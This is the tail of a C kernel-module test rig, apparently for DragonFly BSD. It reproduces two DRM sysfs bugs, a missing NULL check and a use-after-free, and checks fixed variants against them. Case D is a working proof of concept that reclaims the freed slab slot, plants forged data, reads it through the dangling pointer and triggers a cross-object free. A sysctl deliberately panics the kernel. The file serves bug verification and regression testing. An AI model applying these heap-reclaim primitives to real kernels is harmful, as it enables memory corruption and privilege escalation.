/*
 * DF-2208 / DF-2209 verbatim-code rig - TAIL
 * Matrix driver + module glue. Runs the UNMODIFIED production functions
 * (concatenated above, extracted from tree lines 31-46 / 48-54) and the
 * fix.diff variants over the exact scenarios that flip each finding:
 *
 * DF-2208 (missing NULL checks in drm_sysfs_connector_add):
 *   A  control      - normal add/remove, name content capture
 *   B  kasprintf-NU - add with injected kasprintf==NULL:
 *                     ret==0 (SUCCESS!) and kdev->kobj.name==NULL planted
 *   C  kzalloc-NU   - add with injected kzalloc==NULL: write through
 *                     NULL->kobj.name at offset 8 -> FATAL PAGE FAULT.
 *                     Armed via sysctl kern.df2208_fire=1 (panics; the
 *                     guest dies, expected). Fixed variant: ret=-ENOMEM.
 *
 * DF-2209 (stale pointer after kfree in drm_sysfs_connector_remove):
 *   D  UAF cycle    - add -> remove (kdev NOT NULLed: drm_sysfs.c:52-53)
 *                     -> reclaim the freed slot, plant forged content
 *                     -> read kdev->kobj.name (the exact production
 *                        consumer expression, intel_dp.c:5251) through
 *                        the DANGLING pointer -> attacker-controlled data
 *                     -> re-add: ret==0 with ZERO new allocations
 *                        (guard drm_sysfs.c:35-36 turns add into a silent
 *                        no-op while kdev dangles)
 *                     -> second remove: kfree()s the RECLAIMED foreign
 *                        object (free-of-live-object primitive)
 *   F  fixed cycle  - same sequence through the fix.diff variants:
 *                     remove NULLs kdev; re-add allocates FRESH.
 */
static struct drm_minor		g_minor = { .index = 0 };
static struct drm_device		g_drmdev = { .primary = &g_minor };

static void
rig_conn_init(struct drm_connector *c, const char *nm)
{
	memset(c, 0, sizeof(*c));
	c->dev = &g_drmdev;
	ksnprintf(c->name, sizeof(c->name), "%s", nm);
}

/* registry so kldunload is clean even though production remove() leaks
 * the kasprintf'd name string (side observation: allocs never balanced) */
#define RIG_REG_MAX 16
static void	*rig_reg[RIG_REG_MAX];
static int	rig_reg_n;
static void
rig_reg_add(void *p)
{
	if (p != NULL && rig_reg_n < RIG_REG_MAX)
		rig_reg[rig_reg_n++] = p;
}

/* ------------------------------------------------------------------ */
/* DF-2208 CASE A: control                                             */
/* ------------------------------------------------------------------ */
static void
case_A_control(void)
{
	struct drm_connector c;
	const char *nm;
	int ret;
	unsigned long a0 = rig_alloc_events, f0 = rig_free_events;

	rig_conn_init(&c, "DP-1");
	rig_fail_kzalloc = 0;
	rig_fail_kasprintf = 0;

	kprintf("DF2208 CASE A (control): verbatim add/remove\n");
	ret = drm_sysfs_connector_add(&c);
	nm = (c.kdev != NULL) ? c.kdev->kobj.name : NULL;
	rig_reg_add((void *)nm);
	kprintf("DF2208   ret=%d kdev=%p name='%s' (content capture: "
		"card%%d-%%s of dev->primary->index=%d, connector->name='%s')\n",
		ret, c.kdev, nm ? nm : "(null)", g_minor.index, c.name);
	kprintf("DF2208   offsetof(struct device, kobj.name)=%lu "
		"sizeof(struct device)=%lu (M_CACHEALIGN -> power-of-2 class)\n",
		(unsigned long)__offsetof(struct device, kobj.name),
		(unsigned long)sizeof(struct device));

	drm_sysfs_connector_remove(&c);
	kprintf("DF2208   after remove: connector->kdev still reads %p "
		"(baseline remove NULLs nothing); alloc_events=%lu "
		"free_events=%lu (delta alloc=%lu free=%lu)\n",
		c.kdev, rig_alloc_events - a0, rig_free_events - f0,
		rig_alloc_events - a0, rig_free_events - f0);
	if (rig_alloc_events - a0 == rig_free_events - f0 + 1)
		kprintf("DF2208   SIDE-OBSERVATION: the kasprintf'd "
			"kobj.name string is never freed by remove() "
			"(drm_sysfs.c:52-53 frees kdev only) -> leaks 1 "
			"allocation per connector add/remove cycle\n");
}

/* ------------------------------------------------------------------ */
/* DF-2208 CASE B: injected kasprintf failure                           */
/* ------------------------------------------------------------------ */
static void
case_B_kasprintf_null(void)
{
	struct drm_connector c;
	int ret;

	rig_conn_init(&c, "DP-2");
	rig_fail_kzalloc = 0;
	rig_fail_kasprintf = 1;		/* INJECTION */

	kprintf("DF2208 CASE B (kasprintf==NULL injected at drm_sysfs.c:40):\n");
	ret = drm_sysfs_connector_add(&c);
	kprintf("DF2208   ret=%d kdev=%p kobj.name=%p\n",
		ret, c.kdev, c.kdev ? c.kdev->kobj.name : NULL);
	if (ret == 0 && c.kdev != NULL && c.kdev->kobj.name == NULL) {
		kprintf("DF2208   VERDICT: SILENT NULL PLANTED -- function "
			"reports SUCCESS (ret==0) with kdev->kobj.name==NULL; "
			"first consumer deref (intel_dp.c:5251 "
			"connector->kdev->kobj.name) hits NULL\n");
	}
	rig_fail_kasprintf = 0;
	drm_sysfs_connector_remove(&c);	/* kdev freed; name NULL: guarded */
}

/* ------------------------------------------------------------------ */
/* DF-2208 CASE C: injected kzalloc failure (BASELINE = PANIC)          */
/* Armed via sysctl kern.df2208_fire=1 (fires from sysctl context).     */
/* ------------------------------------------------------------------ */
static struct drm_connector g_fire_conn;

static void
rig_fire_df2208(void)
{
	rig_conn_init(&g_fire_conn, "DP-FIRE");
	rig_fail_kzalloc = 1;		/* INJECTION at drm_sysfs.c:39 */
	kprintf("DF2208 CASE C FIRING: kzalloc==NULL injected; verbatim "
		"drm_sysfs_connector_add about to write "
		"connector->kdev->kobj.name at NULL+8 -- EXPECT FATAL TRAP\n");
	(void)drm_sysfs_connector_add(&g_fire_conn);
	kprintf("DF2208   UNEXPECTED: returned without fault\n");
	rig_fail_kzalloc = 0;
}

static int	df2208_fire_val;
static int	df2208_fired;

static int
df2208_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, val = df2208_fire_val;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 1 && !df2208_fired) {
		df2208_fired = 1;
		rig_fire_df2208();
	}
	df2208_fire_val = val;
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df2208_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df2208_fire_sysctl, "I",
    "write 1: fire DF-2208 kzalloc-NULL case through verbatim add (PANICS)");

/* ------------------------------------------------------------------ */
/* DF-2209 CASE D: UAF cycle through verbatim add/remove                */
/* ------------------------------------------------------------------ */
#define RECLAIM_POISON	0x41

static void
case_D_uaf_cycle(void)
{
	struct drm_connector c;
	struct device *A, *R = NULL, *tmp;
	const char *planted = "DF2209-PWNED-BY-RECLAIM";
	char *planted_str;
	const char *owner_name;
	unsigned long kz0;
	void *cands[8];
	int ncand = 0, i;

	rig_conn_init(&c, "DP-3");
	rig_fail_kzalloc = 0;
	rig_fail_kasprintf = 0;

	kprintf("DF2209 CASE D (UAF cycle): verbatim add -> remove -> "
		"reclaim -> consume -> re-add -> remove\n");

	/* step 1: add -- kdev allocated */
	if (drm_sysfs_connector_add(&c) != 0 || c.kdev == NULL) {
		kprintf("DF2209   setup failed\n");
		return;
	}
	A = c.kdev;
	rig_reg_add((void *)A->kobj.name);	/* hygiene registry */
	kprintf("DF2209   [1] add: kdev=%p (kobj.name='%s')\n",
		A, A->kobj.name);

	/* step 2: remove -- kfree(kdev) but kdev NOT NULLed (lines 52-53) */
	drm_sysfs_connector_remove(&c);
	kprintf("DF2209   [2] remove: kfree(%p) done; connector->kdev still "
		"== %p (DANGLING -- drm_sysfs.c:52-53 never NULLs it)\n",
		A, c.kdev);

	/* step 3: reclaim the freed slot from the same zone/size class.
	 * Same geometry as production kzalloc: GFP_KERNEL|M_ZERO rounds
	 * sizeof(struct device) up to the same power-of-2 kmalloc class.
	 * planted_str comes from the 128-byte class so it cannot steal
	 * the 64-class slot being reclaimed. */
	planted_str = kmalloc(128, M_DF22, M_WAITOK | M_ZERO);
	ksnprintf(planted_str, 128, "%s", planted);
	rig_reg_add(planted_str);
	for (i = 0; i < 8 && R == NULL; i++) {
		tmp = kmalloc(sizeof(struct device), M_DF22,
		    M_WAITOK | M_CACHEALIGN | M_ZERO);
		rig_alloc_events++;
		if ((void *)tmp == (void *)A) {
			R = tmp;
		} else {
			cands[ncand++] = tmp;
		}
	}
	if (R != NULL) {
		memset(R, RECLAIM_POISON, sizeof(*R));
		R->kobj.name = planted_str;		/* forged content */
		kprintf("DF2209   [3] reclaim: fresh kmalloc(%lu, M_DF22, "
			"M_WAITOK|M_CACHEALIGN|M_ZERO) returned %p == freed A "
			"(IMMEDIATE SAME-ZONE REUSE); block poisoned 0x%02x "
			"and kobj.name forged\n",
			(unsigned long)sizeof(struct device), R,
			RECLAIM_POISON);

		/* step 4: the production consumer expression
		 * (intel_dp.c:5251) reads through the DANGLING pointer */
		kprintf("DF2209   [4] consumer read connector->kdev->kobj."
			"name -> '%s' (UAF READ returns ATTACKER-CONTROLLED "
			"data; was 'card0-DP-3' before the free)\n",
			c.kdev->kobj.name);
	} else {
		kprintf("DF2209   [3] no immediate reuse in 8 tries "
			"(dangling pointer + silent re-add still proven "
			"below); freeing %d stray candidates\n", ncand);
		for (i = 0; i < ncand; i++)
			kfree(cands[i]);
	}

	/* step 5: re-add -- guard sees the dangling pointer, returns 0
	 * with ZERO allocations (drm_sysfs.c:35-36). Runs regardless of
	 * reclaim success: needs only the dangling non-NULL kdev. */
	kz0 = rig_kzalloc_calls;
	if (drm_sysfs_connector_add(&c) == 0 &&
	    rig_kzalloc_calls == kz0) {
		kprintf("DF2209   [5] re-add: ret==0 (SUCCESS) with "
			"rig_kzalloc_calls UNCHANGED (%lu) -- guard at "
			"drm_sysfs.c:35-36 turned add into a silent no-op "
			"on the DANGLING pointer\n", kz0);
	} else {
		kprintf("DF2209   [5] re-add: UNEXPECTED (allocated or "
			"errored)\n");
	}

	/* step 6: second remove frees the RECLAIMED (foreign, live) object
	 * -- free-of-live-object primitive. Only executed when the slot
	 * was reclaimed (R == A): then this kfree is a LEGITIMATE single
	 * free of R from the allocator view, but R belongs to another
	 * owner -- exactly the cross-object free the bug grants. */
	if (R != NULL) {
		drm_sysfs_connector_remove(&c);
		kprintf("DF2209   [6] second remove: production kfree()d the "
			"RECLAIMED live object %p owned by another allocator "
			"(CROSS-OBJECT FREE); owner still holds the pointer\n",
			R);
		/* owner-after-free read: pointer VALUE only (the block is
		 * freed; do not deref unknown contents) */
		owner_name = R->kobj.name;
		kprintf("DF2209   [6] owner-after-free read R->kobj.name -> "
			"%p%s\n", owner_name,
			owner_name == planted_str ?
			" (== forged string, intact)" :
			" (clobbered by allocator free-list)");
		kprintf("DF2209   VERDICT: UAF CONFIRMED through verbatim "
			"drm_sysfs.c code (dangling ptr + silent re-add + "
			"controlled reclaim + cross-object free)\n");
		/* NOTE: R was freed by production remove(); must NOT be
		 * freed again here (would be a rig double-free). */
	} else {
		kprintf("DF2209   VERDICT (partial): dangling ptr + silent "
			"re-add proven; reclaim aliasing not observed this "
			"run\n");
	}
}

/* ------------------------------------------------------------------ */
/* FIXED variants (fix.diff applied, renamed _fixed)                    */
/* ------------------------------------------------------------------ */
static void
case_E_fixed_2208(void)
{
	struct drm_connector c;
	int ret;

	kprintf("DF2208 CASE E (fix.diff variants, same injections):\n");

	rig_conn_init(&c, "DP-4");
	rig_fail_kzalloc = 1;
	rig_fail_kasprintf = 0;
	ret = drm_sysfs_connector_add_fixed(&c);
	kprintf("DF2208   [kzalloc-NULL] ret=%d (%s) kdev=%p -- NO fault, "
		"caller (drm_connector.c:445-446) can fail loudly\n",
		ret, ret == -ENOMEM ? "-ENOMEM" : "?", c.kdev);

	rig_conn_init(&c, "DP-4");
	rig_fail_kzalloc = 0;
	rig_fail_kasprintf = 1;
	ret = drm_sysfs_connector_add_fixed(&c);
	kprintf("DF2208   [kasprintf-NULL] ret=%d kdev=%p kobj.name=%p -- "
		"kdev freed and NULLed, NO silent NULL planted\n",
		ret, c.kdev, c.kdev ? c.kdev->kobj.name : NULL);
	rig_fail_kasprintf = 0;
}

static void
case_F_fixed_2209(void)
{
	struct drm_connector c;
	struct device *first, *before;
	unsigned long kz0;

	rig_conn_init(&c, "DP-5");
	rig_fail_kzalloc = 0;
	rig_fail_kasprintf = 0;

	kprintf("DF2209 CASE F (fix.diff variants):\n");
	if (drm_sysfs_connector_add_fixed(&c) != 0 || c.kdev == NULL) {
		kprintf("DF2209   setup failed\n");
		return;
	}
	first = c.kdev;
	/* NOTE: no rig_reg_add here -- the FIXED remove() frees the name
	 * string itself (fix.diff adds kfree(kobj.name)); registry would
	 * double-free at unload. */

	drm_sysfs_connector_remove_fixed(&c);
	kprintf("DF2209   [1] fixed remove: kdev=%p (NULLed: fix breaks the "
		"dangling pointer)\n", c.kdev);

	/* occupy the just-freed slot so the fresh alloc is provably new */
	before = kmalloc(sizeof(struct device), M_DF22,
	    M_WAITOK | M_CACHEALIGN | M_ZERO);
	rig_alloc_events++;

	kz0 = rig_kzalloc_calls;
	if (drm_sysfs_connector_add_fixed(&c) == 0 &&
	    rig_kzalloc_calls == kz0 + 1 && c.kdev != NULL &&
	    (void *)c.kdev != (void *)before && c.kdev != first) {
		kprintf("DF2209   [2] fixed re-add: FRESH allocation %p != "
			"freed %p (and != interposed %p), kzalloc_calls "
			"%lu -> %lu, name='%s' -- no dangling, no silent "
			"no-op\n",
			c.kdev, first, before, kz0, rig_kzalloc_calls,
			c.kdev->kobj.name);
		drm_sysfs_connector_remove_fixed(&c);
		kfree(before);
		kprintf("DF2209   VERDICT: fixed cycle clean\n");
	} else {
		kprintf("DF2209   [2] fixed re-add: UNEXPECTED (kz0=%lu "
			"now=%lu kdev=%p)\n",
			kz0, rig_kzalloc_calls, c.kdev);
	}
}

/* ------------------------------------------------------------------ */
/* module glue                                                          */
/* ------------------------------------------------------------------ */
static void
rig_matrix(void)
{
	kprintf("DF22 RIG start: kernel-resident verbatim drm_sysfs.c "
		"add/remove (baseline) + fix.diff variants\n");
	kprintf("DF22   shims: kzalloc/kfree/kasprintf mirror slab.h:35,38 "
		"and drm_dragonfly.c:65-94 with fault injection ONLY at the "
		"cited call sites\n");
	case_A_control();
	case_B_kasprintf_null();
	case_D_uaf_cycle();
	case_E_fixed_2208();
	case_F_fixed_2209();
	kprintf("DF22 RIG done (baseline kzalloc-NULL panic case ARMED: "
		"sysctl kern.df2208_fire=1)\n");
}

static int
df22_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		rig_matrix();
		return (0);
	case MOD_UNLOAD: {
		int i;
		for (i = 0; i < rig_reg_n; i++)
			kfree(rig_reg[i]);
		return (0);
	}
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df22_mod = {
	"df22_rig",
	df22_modevent,
	NULL
};

DECLARE_MODULE(df22_rig, df22_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df22_rig, 1);
